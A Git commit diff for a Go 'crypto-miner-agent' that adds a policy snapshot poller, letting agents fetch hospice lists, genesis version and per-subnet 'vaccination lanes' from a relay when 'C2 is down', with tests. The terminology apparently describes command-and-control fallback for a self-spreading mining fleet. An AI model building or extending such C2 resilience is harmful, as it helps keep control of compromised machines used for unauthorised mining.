Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
@@ -25,7 +25,7 @@ func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
|
||||
Healthy: true,
|
||||
}})
|
||||
}
|
||||
StartZeroServerReconnect(func() error {
|
||||
StartZeroServerPolicyMode(cfg, func() error {
|
||||
log.Printf("[fleet-torrent] zero-server reconnect attempt")
|
||||
return nil
|
||||
})
|
||||
|
||||
151
agent/deploy/policy_snapshot.go
Normal file
151
agent/deploy/policy_snapshot.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const policySnapshotPollInterval = 5 * time.Minute
|
||||
|
||||
type VaccinationLaneHint struct {
|
||||
Subnet, SeedAgent, JoinLane, EgressAgent string
|
||||
}
|
||||
|
||||
type PolicySnapshotBody struct {
|
||||
GenesisVersion int `json:"genesis_version"`
|
||||
HospiceList []string `json:"hospice_list"`
|
||||
VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"`
|
||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
||||
}
|
||||
|
||||
type policyVaccinationLane struct {
|
||||
Subnet string `json:"subnet"`
|
||||
Lane json.RawMessage `json:"lane,omitempty"`
|
||||
}
|
||||
|
||||
var policySnapshotMu sync.RWMutex
|
||||
var policyHospiceStrains map[string]bool
|
||||
var policyVaccinationLanes []VaccinationLaneHint
|
||||
var policyGenesisVersion int
|
||||
|
||||
func ApplyPolicySnapshot(body PolicySnapshotBody) {
|
||||
policySnapshotMu.Lock()
|
||||
defer policySnapshotMu.Unlock()
|
||||
policyGenesisVersion = body.GenesisVersion
|
||||
if len(body.HospiceList) > 0 {
|
||||
policyHospiceStrains = make(map[string]bool, len(body.HospiceList))
|
||||
for _, id := range body.HospiceList {
|
||||
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
||||
policyHospiceStrains[id] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(body.VaccinationLanes) > 0 {
|
||||
lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes))
|
||||
for _, e := range body.VaccinationLanes {
|
||||
h := VaccinationLaneHint{Subnet: e.Subnet}
|
||||
if len(e.Lane) > 0 {
|
||||
var lane struct {
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
if json.Unmarshal(e.Lane, &lane) == nil {
|
||||
h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane
|
||||
}
|
||||
}
|
||||
lanes = append(lanes, h)
|
||||
}
|
||||
policyVaccinationLanes = lanes
|
||||
}
|
||||
}
|
||||
|
||||
func StrainInPolicyHospice(strain string) bool {
|
||||
policySnapshotMu.RLock()
|
||||
defer policySnapshotMu.RUnlock()
|
||||
return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))]
|
||||
}
|
||||
|
||||
func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) {
|
||||
subnet = normalizePolicySubnet(subnet)
|
||||
policySnapshotMu.RLock()
|
||||
defer policySnapshotMu.RUnlock()
|
||||
for _, l := range policyVaccinationLanes {
|
||||
if normalizePolicySubnet(l.Subnet) == subnet {
|
||||
return l, true
|
||||
}
|
||||
}
|
||||
return VaccinationLaneHint{}, false
|
||||
}
|
||||
|
||||
func PolicyGenesisVersion() int {
|
||||
policySnapshotMu.RLock()
|
||||
defer policySnapshotMu.RUnlock()
|
||||
return policyGenesisVersion
|
||||
}
|
||||
|
||||
func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) {
|
||||
if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" {
|
||||
go runPolicySnapshotPoller(r, p)
|
||||
return
|
||||
}
|
||||
StartZeroServerReconnect(reconnectFn)
|
||||
}
|
||||
|
||||
func runPolicySnapshotPoller(relayURL, pollURL string) {
|
||||
ticker := time.NewTicker(policySnapshotPollInterval)
|
||||
defer ticker.Stop()
|
||||
poll := func() {
|
||||
url := relayURL
|
||||
if url == "" {
|
||||
url = pollURL
|
||||
}
|
||||
body, err := fetchPolicySnapshot(url)
|
||||
if err != nil {
|
||||
log.Printf("[policy-snapshot] poll failed: %v", err)
|
||||
return
|
||||
}
|
||||
ApplyPolicySnapshot(body)
|
||||
}
|
||||
poll()
|
||||
for range ticker.C {
|
||||
poll()
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) {
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
return PolicySnapshotBody{}, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
||||
if err != nil {
|
||||
return PolicySnapshotBody{}, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode)
|
||||
}
|
||||
var body PolicySnapshotBody
|
||||
return body, json.Unmarshal(raw, &body)
|
||||
}
|
||||
|
||||
type policyHTTPError int
|
||||
|
||||
func (e policyHTTPError) Error() string { return http.StatusText(int(e)) }
|
||||
func errPolicyHTTP(c int) error { return policyHTTPError(c) }
|
||||
|
||||
func normalizePolicySubnet(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
s = strings.TrimSuffix(s, ".0/24")
|
||||
s = strings.TrimSuffix(s, "/24")
|
||||
return strings.TrimSuffix(s, ".x")
|
||||
}
|
||||
54
agent/deploy/policy_snapshot_test.go
Normal file
54
agent/deploy/policy_snapshot_test.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
|
||||
ApplyPolicySnapshot(PolicySnapshotBody{
|
||||
GenesisVersion: 4,
|
||||
HospiceList: []string{"Dead-Strain"},
|
||||
VaccinationLanes: []policyVaccinationLane{{
|
||||
Subnet: "10.0.5",
|
||||
Lane: json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
|
||||
}},
|
||||
})
|
||||
if PolicyGenesisVersion() != 4 {
|
||||
t.Fatalf("genesis=%d", PolicyGenesisVersion())
|
||||
}
|
||||
if !StrainInPolicyHospice("dead-strain") {
|
||||
t.Fatal("expected hospice strain")
|
||||
}
|
||||
h, ok := VaccinationHintForSubnet("10.0.5.0/24")
|
||||
if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
|
||||
t.Fatalf("hint=%+v ok=%v", h, ok)
|
||||
}
|
||||
}
|
||||
|
||||
func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
|
||||
var polls atomic.Int32
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
polls.Add(1)
|
||||
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
|
||||
}))
|
||||
defer srv.Close()
|
||||
cfg := config.RuntimeConfig{}
|
||||
cfg.EventBridgeRelayURL = srv.URL
|
||||
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if polls.Load() < 1 {
|
||||
t.Fatal("expected relay poll")
|
||||
}
|
||||
}
|
||||
|
||||
func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{}
|
||||
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
||||
}
|
||||
Reference in New Issue
Block a user